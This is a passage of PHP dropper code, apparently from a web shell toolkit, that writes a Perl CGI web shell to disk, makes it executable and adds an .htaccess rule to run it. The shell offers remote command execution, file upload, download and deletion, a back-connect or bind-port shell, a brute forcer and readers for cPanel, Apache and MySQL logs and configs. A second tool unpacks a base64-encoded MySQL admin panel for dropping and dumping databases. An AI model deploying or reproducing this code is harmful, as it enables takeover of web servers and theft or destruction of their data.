EncodeDir(\$CurrentDir);\r\n\tif(\$WinNT)\r\n\t{\r\n\t\treturn \"<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>\";\r\n\t}\r\n\tmy \$result=\"<table><tr><th>Path Log</th><th>Submit</th></tr>\";\r\n\tmy @pathlog=(\t'/usr/local/apache/logs/error_log',\r\n\t\t\t'/usr/local/apache/logs/access_log',\r\n\t\t\t'/usr/local/apache2/conf/httpd.conf',\r\n\t\t\t'/var/log/httpd/error_log',\r\n\t\t\t'/var/log/httpd/access_log',\r\n\t\t\t'/usr/local/cpanel/logs/error_log',\r\n\t\t\t'/usr/local/cpanel/logs/access_log',\r\n\t\t\t'/usr/local/apache/logs/suphp_log',\r\n\t\t\t'/usr/local/cpanel/logs',\r\n\t\t\t'/usr/local/cpanel/logs/stats_log',\r\n\t\t\t'/usr/local/cpanel/logs/access_log',\r\n\t\t\t'/usr/local/cpanel/logs/error_log',\r\n\t\t\t'/usr/local/cpanel/logs/license_log',\r\n\t\t\t'/usr/local/cpanel/logs/login_log',\r\n\t\t\t'/usr/local/cpanel/logs/stats_log',\r\n\t\t\t'/var/cpanel/cpanel.config',\r\n\t\t\t'/usr/local/php/lib/php.ini',\r\n\t\t\t'/usr/local/php5/lib/php.ini',\r\n\t\t\t'/var/log/mysql/mysql-bin.log',\r\n\t\t\t'/var/log/mysql.log',\r\n\t\t\t'/var/log/mysqlderror.log',\r\n\t\t\t'/var/log/mysql/mysql.log',\r\n\t\t\t'/var/log/mysql/mysql-slow.log',\r\n\t\t\t'/var/mysql.log',\r\n\t\t\t'/var/lib/mysql/my.cnf',\r\n\t\t\t'/etc/mysql/my.cnf',\r\n\t\t\t'/etc/my.cnf',\r\n\t\t\t);\r\n\tmy \$i=0;\r\n\tmy \$perms;\r\n\tmy \$sl;\r\n\tforeach my \$log (@pathlog)\r\n\t{\r\n\t\tif(-r \$log)\r\n\t\t{\r\n\t\t\t\$perms=\"OK\";\r\n\t\t}else\r\n\t\t{\r\n\t\t\t\$perms=\"<font style='color: red;'>Cancel<font>\";\r\n\t\t}\r\n\t\t\$result .=<<END;\r\n\t\t<tr>\r\n\r\n\t\t\t<form action=\"\" method=\"post\" onSubmit=\"Encoder('log\$i')\">\r\n\t\t\t<td><input type=\"text\" id=\"log\$i\" name=\"c\" value=\"tail -10000 \$log | grep '/home'\" size='50'/></td>\r\n\t\t\t<td><input class=\"submit\" type=\"submit\" value=\"Try\" /></td>\r\n\t\t\t<input type=\"hidden\" name=\"a\" value=\"command\" />\r\n\t\t\t<input type=\"hidden\" name=\"d\" value=\"\$EncodeCurrentDir\" />\r\n\t\t\t</form>\r\n\t\t\t<td>\$perms</td>\r\n\r\n\t\t</tr>\r\nEND\r\n\t\t\$i++;\r\n\t}\r\n\t\$result .=\"</table>\";\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Main Program - Execution Starts Here\r\n#------------------------------------------------------------------------------\r\n&ReadParse;\r\n&GetCookies;\r\n\r\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\r\n\$ServerName = \$ENV{'SERVER_NAME'};\r\n\$LoginPassword = \$in{'p'};\r\n\$RunCommand = decode_base64(\$in{'c'});\r\n\$TransferFile = \$in{'f'};\r\n\$Options = \$in{'o'};\r\n\$Action = \$in{'a'};\r\n\r\n\$Action = \"command\" if(\$Action eq \"\"); # no action specified, use default\r\n\r\n# get the directory in which the commands will be executed\r\n\$CurrentDir = &TrimSlashes(decode_base64(trim(\$in{'d'})));\r\n# mac dinh xuat thong tin neu ko co lenh nao!\r\n\$RunCommand= \$WinNT?\"dir\":\"dir -lia\" if(\$RunCommand eq \"\");\r\nchomp(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\r\n\r\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\r\n\r\nif(\$Action eq \"login\" || !\$LoggedIn) \t\t# user needs/has to login\r\n{\r\n\t&PerformLogin;\r\n}elsif(\$Action eq \"gui\") # GUI directory\r\n{\r\n\t&PrintPageHeader(\"d\");\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\t\$chmod=int(\$in{'chmod'});\r\n\t\tif(\$chmod ne 0)\r\n\t\t{\r\n\t\t\t\$chmod=int(\$in{'chmod'});\r\n\t\t\t\$file=\$CurrentDir.\$PathSep.\$TransferFile;\r\n\t\t\tif(chmod(\$chmod,\$file))\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Done! </run><br>\";\r\n\t\t\t}else\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\$rename=\$in{'rename'};\r\n\tif(\$rename ne \"\")\r\n\t{\r\n\t\tif(rename(\$TransferFile,\$rename))\r\n\t\t{\r\n\t\t\tprint \"<run> Done! </run><br>\";\r\n\t\t}else\r\n\t\t{\r\n\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t\t}\r\n\t}\r\n\t\$remove=\$in{'remove'};\r\n\tif(\$remove ne \"\")\r\n\t{\r\n\t\t\$rm = \$CurrentDir.\$PathSep.\$remove;\r\n\t\tif(-d \$rm)\r\n\t\t{\r\n\t\t\t&RmDir(\$rm);\r\n\t\t}else\r\n\t\t{\r\n\t\t\tif(unlink(\$rm))\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Done! </run><br>\";\r\n\t\t\t}else\r\n\t\t\t{\r\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t\t\t}\t\t\t\r\n\t\t}\r\n\t}\r\n\tprint &ListDir;\r\n\r\n}\r\nelsif(\$Action eq \"command\")\t\t\t\t \t# user wants to run a command\r\n{\r\n\t&PrintPageHeader(\"c\");\r\n\tprint &ExecuteCommand;\r\n}\r\nelsif(\$Action eq \"save\")\t\t\t\t \t# user wants to save a file\r\n{\r\n\t&PrintPageHeader;\r\n\tif(&SaveFile(\$in{'data'},\$in{'file'}))\r\n\t{\r\n\t\tprint \"<run> Done! </run><br>\";\r\n\t}else\r\n\t{\r\n\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\r\n\t}\r\n\tprint &ListDir;\r\n}elsif(\$Action eq \"upload\") \t\t\t\t\t# user wants to upload a file\r\n{\r\n\t&PrintPageHeader(\"c\");\r\n\tprint &UploadFile;\r\n}elsif(\$Action eq \"backbind\") \t\t\t\t# user wants to back connect or bind port\r\n{\r\n\t&PrintPageHeader(\"clientport\");\r\n\r\n\tprint &BackBind;\r\n}elsif(\$Action eq \"bruteforcer\") \t\t\t# user wants to brute force\r\n{\r\n\t&PrintPageHeader;\r\n\tprint &BruteForcer;\r\n}elsif(\$Action eq \"download\") \t\t\t\t# user wants to download a file\r\n{\r\n\tprint &DownloadFile;\r\n}elsif(\$Action eq \"checklog\") \t\t\t\t# user wants to view log file\r\n{\r\n\t&PrintPageHeader;\r\n\tprint &ViewLog;\r\n\r\n}elsif(\$Action eq \"domainsuser\") \t\t\t# user wants to view list user/domain\r\n{\r\n\t&PrintPageHeader;\r\n\tprint &ViewDomainUser;\r\n}elsif(\$Action eq \"logout\") \t\t\t\t# user wants to logout\r\n{\r\n\t&PerformLogout;\r\n}\r\n&PrintPageFooter;\r\n\r\n");
    echo "<a href='./perl/telnet2.cgi'>Here telnet2.cgi</a><br>";
    #fwrite($bus,base64_decode($fileencode));
    #fwrite($fileencode1)
    #fclose($bus);
    chmod('security.bus', 0755);
    chmod('telnet2.cgi', 0755);
    $htaccess = fopen('.htaccess', 'a+');
    fwrite($htaccess, "AddHandler cgi-script .bus");
    fclose($htaccess);
    # inject Database
} elseif ($_POST[tool] == 'inject') {
    $data = 'inject';
    mkdir('inject');
    chdir('inject');
    $sql = 'PD9waHAKCi8qCiAqIE15U1FMIFdlYiBJbnRlcmZhY2UgVmVyc2lvbiAyCiAqIC0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KICogRGV2ZWxvcGVkIEJ5IHNOaXBlcl9oRXgKKi8KCmlmICgg
ZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykgKSB7Cgkkb25vZmYgPSBpbmlfZ2V0KCdyZWdpc3Rl
cl9nbG9iYWxzJyk7Cn0gZWxzZSB7Cgkkb25vZmYgPSBnZXRfY2ZnX3ZhcigncmVnaXN0ZXJfZ2xv
YmFscycpOwp9CmlmICgkb25vZmYgIT0gMSkgewoJQGV4dHJhY3QoJEhUVFBfU0VSVkVSX1ZBUlMs
IEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9DT09LSUVfVkFSUywgRVhUUl9TS0lQKTsKCUBl
eHRyYWN0KCRIVFRQX1BPU1RfRklMRVMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9QT1NU
X1ZBUlMsIEVYVFJfU0tJUCk7CglAZXh0cmFjdCgkSFRUUF9HRVRfVkFSUywgRVhUUl9TS0lQKTsK
CUBleHRyYWN0KCRIVFRQX0VOVl9WQVJTLCBFWFRSX1NLSVApOwp9CgpmdW5jdGlvbiBsb2dvbigp
IHsKCWdsb2JhbCAkUEhQX1NFTEY7CgoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3VzZXJu
YW1lIiApOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApOwoJc2V0Y29v
a2llKCAibXlzcWxfd2ViX2FkbWluX2hvc3RuYW1lIiApOwoJZWNobyAiPGh0bWw+XG4iOwoJZWNo
byAiPGhlYWQ+XG4iOwoJZWNobyAiPHRpdGxlPk15U1FMIEludGVyZmFjZTwvdGl0bGU+XG4iOwoJ
ZWNobyAiPC9oZWFkPlxuIjsKCWVjaG8gIjxib2R5PlxuIjsKCWVjaG8gIjx0YWJsZSB3aWR0aD0x
MDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBh
ZGRpbmc9Mj48dHI+PHRkIGJnY29sb3I9I2E0YTI2MD48Y2VudGVyPlxuIjsKCWVjaG8gIjx0YWJs
ZSBjZWxscGFkZGluZz0yMD48dHI+PHRkIGJnY29sb3I9I2ZmZmZmZj48Y2VudGVyPlxuIjsKCWVj
aG8gIjxoMT5NeVNRTCBXZWIgSW50ZXJmYWNlPC9oMT5cbiI7CgllY2hvICI8Zm9ybSBhY3Rpb249
JyRQSFBfU0VMRic+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZh
bHVlPWxvZ29uX3N1Ym1pdD5cbiI7CgllY2hvICI8dGFibGUgY2VsbHBhZGRpbmc9NSBjZWxsc3Bh
Y2luZz0xPlxuIjsKCWVjaG8gIjx0cj48dGQ+SG9zdG5hbWUgPC90ZD48dGQ+IDxpbnB1dCB0eXBl
PXRleHQgbmFtZT1ob3N0bmFtZSB2YWx1ZT0nbG9jYWxob3N0Jz48L3RkPjwvdHI+XG4iOwoJZWNo
byAiPHRyPjx0ZD5Vc2VybmFtZSA8L3RkPjx0ZD4gPGlucHV0IHR5cGU9dGV4dCBuYW1lPXVzZXJu
YW1lPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8dHI+PHRkPlBhc3N3b3JkIDwvdGQ+PHRkPiA8aW5w
dXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj5cbiI7CgllY2hvICI8L3Rh
YmxlPjxwPlxuIjsKCWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRW50ZXInPlxuIjsK
CWVjaG8gIjxpbnB1dCB0eXBlPXJlc2V0IHZhbHVlPSdDbGVhcic+PGJyPlxuIjsKCWVjaG8gIjwv
Zm9ybT5cbiI7CgllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8
L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7CgllY2hvICI8cD48aHIgd2lkdGg9MzAwPlxu
IjsKCWVjaG8gIjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPlxuIjsKCWVjaG8gIjwvYm9keT5c
biI7CgllY2hvICI8L2h0bWw+XG4iOwp9CgpmdW5jdGlvbiBsb2dvbl9zdWJtaXQoKSB7CglnbG9i
YWwgJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRob3N0bmFtZSAsJFBIUF9TRUxGOwoJaWYoJGhvc3Ru
YW1lID09JycpCgkJJGhvc3RuYW1lID0gJ2xvY2FsaG9zdCc7CglzZXRjb29raWUoICJteXNxbF93
ZWJfYWRtaW5fdXNlcm5hbWUiLCAkdXNlcm5hbWUgKTsKCXNldGNvb2tpZSggIm15c3FsX3dlYl9h
ZG1pbl9wYXNzd29yZCIsICRwYXNzd29yZCApOwoJc2V0Y29va2llKCAibXlzcWxfd2ViX2FkbWlu
X2hvc3RuYW1lIiwgJGhvc3RuYW1lICk7CgllY2hvICI8aHRtbD4iOwoJZWNobyAiPGhlYWQ+IjsK
CWVjaG8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVzaCBDT05URU5UPScwOyBVUkw9JFBIUF9TRUxG
P2FjdGlvbj1saXN0REJzJz4iOwoJZWNobyAiPC9oZWFkPiI7CgllY2hvICI8L2h0bWw+IjsKfQoK
ZnVuY3Rpb24gZWNob1F1ZXJ5UmVzdWx0KCkgewoJZ2xvYmFsICRxdWVyeVN0ciwgJGVyck1zZzsK
CglpZiggJGVyck1zZyA9PSAiIiApICRlcnJNc2cgPSAiU3VjY2VzcyI7CglpZiggJHF1ZXJ5U3Ry
ICE9ICIiICkgewoJCWVjaG8gIjx0YWJsZSBjZWxscGFkZGluZz01PlxuIjsKCQllY2hvICI8dHI+
PHRkPlF1ZXJ5PC90ZD48dGQ+JHF1ZXJ5U3RyPC90ZD48L3RyPlxuIjsKCQllY2hvICI8dHI+PHRk
PlJlc3VsdDwvdGQ+PHRkPiRlcnJNc2c8L3RkPjwvdHI+XG4iOwoJCWVjaG8gIjwvdGFibGU+PHA+
XG4iOwoJfQp9CgpmdW5jdGlvbiBsaXN0RGF0YWJhc2VzKCkgewoJZ2xvYmFsICRteXNxbEhhbmRs
ZSwgJFBIUF9TRUxGOwoKCWVjaG8gIjxoMT5EYXRhYmFzZXMgTGlzdDwvaDE+XG4iOwoKCWVjaG8g
Ijxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4g
bmFtZT1hY3Rpb24gdmFsdWU9Y3JlYXRlREI+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBu
YW1lPWRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBE
YXRhYmFzZSc+XG4iOwoJZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjxocj5cbiI7CgoJZWNobyAi
PHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgoJJHBEQiA9IG15c3FsX2xp
c3RfZGJzKCAkbXlzcWxIYW5kbGUgKTsKCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBEQiApOwoJ
Zm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZGJuYW1lID0gbXlzcWxfZGJuYW1l
KCAkcERCLCAkaSApOwoJCWVjaG8gIjx0cj5cbiI7CgkJZWNobyAiPHRkPiRkYm5hbWU8L3RkPlxu
IjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRibmFt
ZT0kZGJuYW1lJz5UYWJsZXM8L2E+PC90ZD5cbiI7CgkJZWNobyAiPHRkPjxhIGhyZWY9JyRQSFBf
U0VMRj9hY3Rpb249ZHJvcERCJmRibmFtZT0kZGJuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZp
cm0oJ0Ryb3AgRGF0YWJhc2UgXCckZGJuYW1lXCc/JylcIj5Ecm9wPC9hPjwvdGQ+XG4iOwoJCWVj
aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWR1bXBEQiZkYm5hbWU9JGRibmFtZScg
b25DbGljaz1cInJldHVybiBjb25maXJtKCdEdW1wIERhdGFiYXNlIFwnJGRibmFtZVwnPycpXCI+
RHVtcDwvYT48L3RkPlxuIjsKCQllY2hvICI8L3RyPlxuIjsKCX0KCWVjaG8gIjwvdGFibGU+XG4i
Owp9CgpmdW5jdGlvbiBjcmVhdGVEYXRhYmFzZSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRk
Ym5hbWUsICRQSFBfU0VMRjsKCglteXNxbF9jcmVhdGVfZGIoICRkYm5hbWUsICRteXNxbEhhbmRs
ZSApOwoJbGlzdERhdGFiYXNlcygpOwp9CgpmdW5jdGlvbiBkcm9wRGF0YWJhc2UoKSB7CglnbG9i
YWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoJbXlzcWxfZHJvcF9kYiggJGRi
bmFtZSwgJG15c3FsSGFuZGxlICk7CglsaXN0RGF0YWJhc2VzKCk7Cn0KCmZ1bmN0aW9uIGxpc3RU
YWJsZXMoKSB7CglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkUEhQX1NFTEY7CgoKCWVj
aG8gIjxoMT5UYWJsZXMgTGlzdDwvaDE+XG4iOwoJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRi
bmFtZTwvcD5cbiI7CgllY2hvUXVlcnlSZXN1bHQoKTsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBI
UF9TRUxGJz5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9
Y3JlYXRlVGFibGU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZh
bHVlPSRkYm5hbWU+XG4iOwoJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXRhYmxlbmFtZT5c
biI7CgllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NyZWF0ZSBUYWJsZSc+XG4iOwoJ
ZWNobyAiPC9mb3JtPlxuIjsKCWVjaG8gIjxmb3JtIGFjdGlvbj0nJFBIUF9TRUxGJz5cbiI7Cgll
Y2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3Rpb24gdmFsdWU9cXVlcnk+XG4iOwoJZWNo
byAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGJuYW1lIHZhbHVlPSRkYm5hbWU+XG4iOwoJZWNo
byAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTEyMCBuYW1lPXF1ZXJ5U3RyPlxuIjsKCWVjaG8gIjxp
bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUXVlcnknPlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cgll
Y2hvICI8aHI+XG4iOwoKCSRwVGFibGUgPSBteXNxbF9saXN0X3RhYmxlcyggJGRibmFtZSApOwoK
CWlmKCAkcFRhYmxlID09IDAgKSB7CgkJJG1zZyAgPSBteXNxbF9lcnJvcigpOwoJCWVjaG8gIjxo
Mz5FcnJvciA6ICRtc2c8L2gzPjxwPlxuIjsKCQlyZXR1cm47Cgl9CgkkbnVtID0gbXlzcWxfbnVt
X3Jvd3MoICRwVGFibGUgKTsKCgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGlu
Zz01PlxuIjsKCglmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgewoJCSR0YWJsZW5hbWUg
PSBteXNxbF90YWJsZW5hbWUoICRwVGFibGUsICRpICk7CgoJCWVjaG8gIjx0cj5cbiI7CgkJZWNo
byAiPHRkPlxuIjsKCQllY2hvICIkdGFibGVuYW1lXG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCWVj
aG8gIjx0ZD5cbiI7CgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj12aWV3U2NoZW1h
JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5TY2hlbWE8L2E+XG4iOwoJCWVj
aG8gIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD5cbiI7CgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxG
P2FjdGlvbj12aWV3RGF0YSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RGF0
YTwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8YSBo
cmVmPSckUEhQX1NFTEY/YWN0aW9uPWRyb3BUYWJsZSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9
JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEcm9wIFRhYmxlIFwnJHRhYmxl
bmFtZVwnPycpXCI+RHJvcDwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7CgkJZWNobyAiPHRkPlxu
IjsKCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWR1bXBUYWJsZSZkYm5hbWU9JGRi
bmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZScgb25DbGljaz1cInJldHVybiBjb25maXJtKCdEdW1w
IFRhYmxlIFwnJHRhYmxlbmFtZVwnPycpXCI+RHVtcDwvYT5cbiI7CgkJZWNobyAiPC90ZD5cbiI7
CgkJZWNobyAiPC90cj5cbiI7Cgl9CgoJZWNobyAiPC90YWJsZT4iOwp9CgpmdW5jdGlvbiBjcmVh
dGVUYWJsZSgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQ
SFBfU0VMRiwgJHF1ZXJ5U3RyLCAkZXJyTXNnOwoKCSRxdWVyeVN0ciA9ICJDUkVBVEUgVEFCTEUg
JHRhYmxlbmFtZSAoIG5vIElOVCApIjsKCW15c3FsX3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3Fs
SGFuZGxlICk7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJN
c2cgPSBteXNxbF9lcnJvcigpOwoKCWxpc3RUYWJsZXMoKTsKfQoKZnVuY3Rpb24gZHJvcFRhYmxl
KCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxG
LCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHF1ZXJ5U3RyID0gIkRST1AgVEFCTEUgJHRhYmxlbmFt
ZSI7CglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJbXlzcWxfcXVl
cnkoICRxdWVyeVN0ciwgJG15c3FsSGFuZGxlICk7CgkkZXJyTXNnID0gbXlzcWxfZXJyb3IoKTsK
CglsaXN0VGFibGVzKCk7Cn0KCmZ1bmN0aW9uIHZpZXdTY2hlbWEoKSB7CglnbG9iYWwgJG15c3Fs
SGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkUEhQX1NFTEYsICRxdWVyeVN0ciwgJGVyck1z
ZzsKCgllY2hvICI8aDE+VGFibGUgU2NoZW1hPC9oMT5cbiI7CgllY2hvICI8cCBjbGFzcz1sb2Nh
dGlvbj4kZGJuYW1lICZndDsgJHRhYmxlbmFtZTwvcD5cbiI7CgoJZWNob1F1ZXJ5UmVzdWx0KCk7
CgoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGRGaWVsZCZkYm5hbWU9JGRibmFt
ZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+QWRkIEZpZWxkPC9hPiB8IFxuIjsKCWVjaG8gIjxhIGhy
ZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld0RhdGEmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0
YWJsZW5hbWUnPlZpZXcgRGF0YTwvYT5cbiI7CgllY2hvICI8aHI+XG4iOwoKCSRwUmVzdWx0ID0g
bXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7
CgkkbnVtID0gbXlzcWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJZWNobyAiPHRhYmxlIGNlbGxz
cGFjaW5nPTEgY2VsbHBhZGRpbmc9NT5cbiI7CgllY2hvICI8dHI+XG4iOwoJZWNobyAiPHRoPkZp
ZWxkPC90aD5cbiI7CgllY2hvICI8dGg+VHlwZTwvdGg+XG4iOwoJZWNobyAiPHRoPk51bGw8L3Ro
PlxuIjsKCWVjaG8gIjx0aD5LZXk8L3RoPlxuIjsKCWVjaG8gIjx0aD5EZWZhdWx0PC90aD5cbiI7
CgllY2hvICI8dGg+RXh0cmE8L3RoPlxuIjsKCWVjaG8gIjx0aCBjb2xzcGFuPTI+QWN0aW9uPC90
aD5cbiI7CgllY2hvICI8L3RyPlxuIjsKCgoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyAp
IHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSggJHBSZXN1bHQgKTsKCQllY2hvICI8dHI+
XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiRmllbGQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRk
PiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+XG4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiTnVsbCJd
LiI8L3RkPlxuIjsKCQllY2hvICI8dGQ+Ii4kZmllbGRbIktleSJdLiI8L3RkPlxuIjsKCQllY2hv
ICI8dGQ+Ii4kZmllbGRbIkRlZmF1bHQiXS4iPC90ZD5cbiI7CgkJZWNobyAiPHRkPiIuJGZpZWxk
WyJFeHRyYSJdLiI8L3RkPlxuIjsKCQkkZmllbGRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOwoJCWVj
aG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXRGaWVsZCZkYm5hbWU9JGRibmFt
ZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZmaWVsZG5hbWU9JGZpZWxkbmFtZSc+RWRpdDwvYT48L3Rk
PlxuIjsKCQllY2hvICI8dGQ+PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kcm9wRmllbGQmZGJu
YW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmZmllbGRuYW1lPSRmaWVsZG5hbWUnIG9u
Q2xpY2s9XCJyZXR1cm4gY29uZmlybSgnRHJvcCBGaWVsZCBcJyRmaWVsZG5hbWVcJz8nKVwiPkRy
b3A8L2E+PC90ZD5cbiI7CgkJZWNobyAiPC90cj5cbiI7Cgl9CgllY2hvICI8L3RhYmxlPlxuIjsK
Cn0KCmZ1bmN0aW9uIG1hbmFnZUZpZWxkKCAkY21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwg
JGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGOwoKCWlmKCAkY21kID09
ICJhZGQiICkKCQllY2hvICI8aDE+QWRkIEZpZWxkPC9oMT5cbiI7CgllbHNlIGlmKCAkY21kID09
ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBGaWVsZDwvaDE+XG4iOwoJCSRwUmVzdWx0ID0g
bXlzcWxfZGJfcXVlcnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7
CgkJJG51bSA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOwoJCWZvciggJGkgPSAwOyAkaSA8
ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJlc3VsdCAp
OwoJCQlpZiggJGZpZWxkWyJGaWVsZCJdID09ICRmaWVsZG5hbWUgKSB7CgkJCQkkZmllbGR0eXBl
ID0gJGZpZWxkWyJUeXBlIl07CgkJCQkkZmllbGRrZXkgPSAkZmllbGRbIktleSJdOwoJCQkJJGZp
ZWxkZXh0cmEgPSAkZmllbGRbIkV4dHJhIl07CgkJCQkkZmllbGRudWxsID0gJGZpZWxkWyJOdWxs
Il07CgkJCQkkZmllbGRkZWZhdWx0ID0gJGZpZWxkWyJEZWZhdWx0Il07CgkJCQlicmVhazsKCQkJ
fQoJCX0KCQkkdHlwZSA9IHN0cnRvayggJGZpZWxkdHlwZSwgIiAoLClcbiIgKTsKCQlpZiggc3Ry
cG9zKCAkZmllbGR0eXBlLCAiKCIgKSApIHsKCQkJaWYoICR0eXBlID09ICJlbnVtIiB8ICR0eXBl
ID09ICJzZXQiICkgewoJCQkJJHZhbHVlbGlzdCA9IHN0cnRvayggIiAoKVxuIiApOwoJCQl9IGVs
c2UgewoJCQkJJE0gPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCQlpZiggc3RycG9zKCAkZmllbGR0
eXBlLCAiLCIgKSApCgkJCQkJJEQgPSBzdHJ0b2soICIgKCwpXG4iICk7CgkJCX0KCQl9Cgl9CgoJ
